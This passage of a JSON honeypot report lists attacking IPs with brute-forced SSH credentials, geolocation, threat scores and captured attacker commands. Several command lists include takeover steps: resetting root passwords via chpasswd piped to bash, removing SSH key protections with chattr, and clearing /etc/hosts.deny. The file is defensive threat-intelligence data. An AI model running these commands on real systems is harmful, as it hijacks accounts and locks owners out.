        "abcd",
        "admin123",
        "changethis"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"zxcvbnm\\nglc6HHMrTuAh\\nglc6HHMrTuAh\\n\"|passwd",
        "echo -e \"zxcvbnm\\nglc6HHMrTuAh\\nglc6HHMrTuAh\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T08:12:14.533000+00:00",
        "last_seen_30d": "2026-05-11T09:03:21.276000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "103.63.108.25": {
      "attack_count": 218,
      "first_seen": "2026-05-06T23:57:08.237Z",
      "last_seen": "2026-05-07T00:30:14.726Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "deploy",
        "postgres"
      ],
      "passwords_attempted": [
        "!q@w#e123",
        "123456Cx",
        "123qweasd",
        "1nt&ll1tch&",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin201083",
        "Gy123456789",
        "India@2025",
        "M3gaP33!",
        "MrDev2018$",
        "P@$$w0rd2026",
        "P@33word",
        "P@ssw0RD",
        "Pass1234",
        "Vr123456",
        "Wh123456789",
        "Xc123456",
        "ajay@123",
        "asdqwerty"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:oIXQOeKXOxMi\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 38732,
      "as_org": "CMC Telecom Infrastructure Company",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T23:57:08.237000+00:00",
        "last_seen_30d": "2026-05-07T00:31:15.433000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 71
      }
    },
    "112.216.108.62": {
      "attack_count": 191,
      "first_seen": "2026-05-21T15:14:09.588Z",
      "last_seen": "2026-05-21T15:45:32.153Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "activemq",
        "admin",
        "alpine",
        "chen",
        "fu",
        "game",
        "horse",
        "hua",
        "maxim",
        "minsu",
        "patel",
        "saltstack",
        "socks",
        "sunil",
        "vivo",
        "xiamen"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "ADMIN",
        "activemq",
        "alibaba",
        "emp001234",
        "horse",
        "password1",
        "password12",
        "patel",
        "redis",
        "saltstack",
        "socks",
        "xiamen"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:GxEMYFTrhZjR\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 247,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T15:14:09.588000+00:00",
        "last_seen_30d": "2026-05-21T15:46:34.525000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 56
      }
    },
    "188.127.161.78": {
      "attack_count": 182,
      "first_seen": "2026-05-25T18:21:32.686Z",
      "last_seen": "2026-05-25T19:21:18.016Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "curl",
        "bill",
        "firewall",
        "ftpuser",
        "info",
        "jack",
        "odoo",
        "testuser",
        "tomcatuser",
        "tunneluser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111",
        "1234",
        "1qazXSW@3edcVFR$",
        "QAZwsx12",
        "Wangsu@2017",
        "amir123",
        "azerty",
        "bill",
        "firewall",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "jack",
        "odoo123",
        "qwerty007",
        "test123456",
        "tomcatuser",
        "tunneluser",
        "w"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"welltech12\\nFwQc3Do9edUQ\\nFwQc3Do9edUQ\\n\"|passwd",
        "echo -e \"welltech12\\nFwQc3Do9edUQ\\nFwQc3Do9edUQ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Madrid",
      "asn": 15704,
      "as_org": "Xtra Telecom S.A.",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T18:21:32.686000+00:00",
        "last_seen_30d": "2026-05-25T19:22:25.726000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 56
      }
    },
    "20.116.34.103": {
      "attack_count": 174,
      "first_seen": "2026-05-14T04:47:08.424Z",
      "last_seen": "2026-05-14T05:29:12.457Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "daniela",
        "345gs5662d34",
        "hack",
        "mostafa",
        "runner",
        "scsadmin",
        "testuser",
        "ubuntu",
        "user",
        "uurgatiy"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "1qaz9ol.",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456~",
        "Fc123456",
        "Google123",
        "Huawei@12#$",
        "Huawei@123",
        "L8GnGhXyKUEF",
        "Pass",
        "Password123!",
        "Vv123456",
        "Wangsu@2025",
        "Welcome2025!",
        "Xm123456",
        "a123456!",
        "daniela",
        "odoo"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"daniela\\nbsDwhY0lfrVJ\\nbsDwhY0lfrVJ\\n\"|passwd",
        "echo -e \"daniela\\nbsDwhY0lfrVJ\\nbsDwhY0lfrVJ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T04:47:08.424000+00:00",
        "last_seen_30d": "2026-05-14T05:30:15.506000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 174,
        "Suricata": 54
      }
    },
    "107.150.105.116": {
      "attack_count": 171,
      "first_seen": "2026-05-18T17:50:18.827Z",
      "last_seen": "2026-05-18T18:23:12.942Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "11011969",
        "123qweASD!@#",
        "1q2w",
        "2030",
        "3245gs5662d34",
        "dolphins",
        "ds",
        "kettle",
        "ssh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:kBmPdxyjmk56\"|chpasswd|bash",
        "echo \"root:qY3tGfXGlReF\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 197,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:50:18.827000+00:00",
        "last_seen_30d": "2026-05-18T18:24:20.254000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 171,
        "Suricata": 26
      }
    },
    "89.45.13.19": {
      "attack_count": 156,
      "first_seen": "2026-05-03T18:07:01.964Z",
      "last_seen": "2026-05-31T07:09:59.287Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 62390,
      "as_org": "NexonHost Srl",
      "threat_score": 58.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.6,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T18:07:01.964000+00:00",
        "last_seen_30d": "2026-05-31T07:11:02.768000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 78
      }
    },
    "200.11.141.86": {
      "attack_count": 143,
      "first_seen": "2026-05-23T02:46:20.958Z",
      "last_seen": "2026-05-23T05:26:52.985Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "scan",
        "345gs5662d34",
        "administrator",
        "ahmad",
        "boss",
        "git",
        "mysql",
        "tabadmin",
        "ubuntu",
        "username",
        "webmin"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd@2025",
        "Password1234!",
        "Qwerty123.",
        "Qwerty1234567890",
        "admin666",
        "ahmad123",
        "boss",
        "mysql123",
        "qW123456",
        "scan",
        "tabadmin",
        "webmin123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"scan\\n7MjIGumxu4M9\\n7MjIGumxu4M9\\n\"|passwd",
        "echo -e \"scan\\n7MjIGumxu4M9\\n7MjIGumxu4M9\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Valencia",
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 192,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:46:20.958000+00:00",
        "last_seen_30d": "2026-05-23T05:27:53.639000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 49
      }
    },
    "34.38.223.149": {
      "attack_count": 89,
      "first_seen": "2026-05-27T05:38:54.230Z",
      "last_seen": "2026-05-27T05:39:49.030Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0"
      ],
      "passwords_attempted": [
        "$4",
        "Cseq: 9774",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "",
        "Accept-Encoding: gzip",
        "KHTML, like Gecko",
        "PING",
        "Chrome/127.0.0.0 Safari/537.36",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
        "Win64",
        "Windows NT 10.0",
        "Windows NT 10.0 ; Win64 ; x64",
        "x64"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T05:38:54.230000+00:00",
        "last_seen_30d": "2026-05-27T05:40:58.850000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 89,
        "Suricata": 42
      }
    },
    "213.108.3.46": {
      "attack_count": 86,
      "first_seen": "2026-05-18T06:28:02.336Z",
      "last_seen": "2026-05-19T05:03:57.067Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 51.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.3,
        "persistence": 11.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 336,
        "days_active_30d": 14,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-08T05:42:35.836000+00:00",
        "last_seen_30d": "2026-05-21T18:42:29.042000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 246,
        "Cowrie": 86,
        "Honeytrap": 3,
        "Honeyaml": 1
      }
    },
    "106.40.67.85": {
      "attack_count": 78,
      "first_seen": "2026-05-21T01:14:22.432Z",
      "last_seen": "2026-05-21T06:29:58.836Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T01:14:22.432000+00:00",
        "last_seen_30d": "2026-05-21T06:30:59.858000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 78,
        "Suricata": 41
      }
    },
    "34.62.168.12": {
      "attack_count": 73,
      "first_seen": "2026-05-31T04:56:29.471Z",
      "last_seen": "2026-05-31T04:57:15.270Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 8090",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T04:56:29.471000+00:00",
        "last_seen_30d": "2026-05-31T04:58:25.309000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "34.140.70.69": {
      "attack_count": 72,
      "first_seen": "2026-05-04T03:50:49.222Z",
      "last_seen": "2026-05-04T03:51:33.669Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 7432",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T03:50:49.222000+00:00",
        "last_seen_30d": "2026-05-04T03:52:40.454000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "35.205.5.85": {
      "attack_count": 71,
      "first_seen": "2026-05-06T07:13:55.013Z",
      "last_seen": "2026-05-06T07:14:31.928Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 7630",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T07:13:55.013000+00:00",
        "last_seen_30d": "2026-05-06T07:15:41.354000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "112.113.135.128": {
      "attack_count": 66,
      "first_seen": "2026-05-18T22:19:36.099Z",
      "last_seen": "2026-05-19T03:11:03.987Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:19:36.099000+00:00",
        "last_seen_30d": "2026-05-19T03:12:11.653000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 66,
        "Suricata": 35
      }
    },
    "45.139.211.68": {
      "attack_count": 66,
      "first_seen": "2026-05-08T12:26:34.270Z",
      "last_seen": "2026-05-11T10:39:44.171Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215224,
      "as_org": "NovoServe B.V.",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.9,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:26:34.270000+00:00",
        "last_seen_30d": "2026-05-11T10:40:49.805000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "189.158.255.249": {
      "attack_count": 62,
      "first_seen": "2026-05-11T21:30:41.887Z",
      "last_seen": "2026-05-11T21:51:41.670Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Monterrey",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
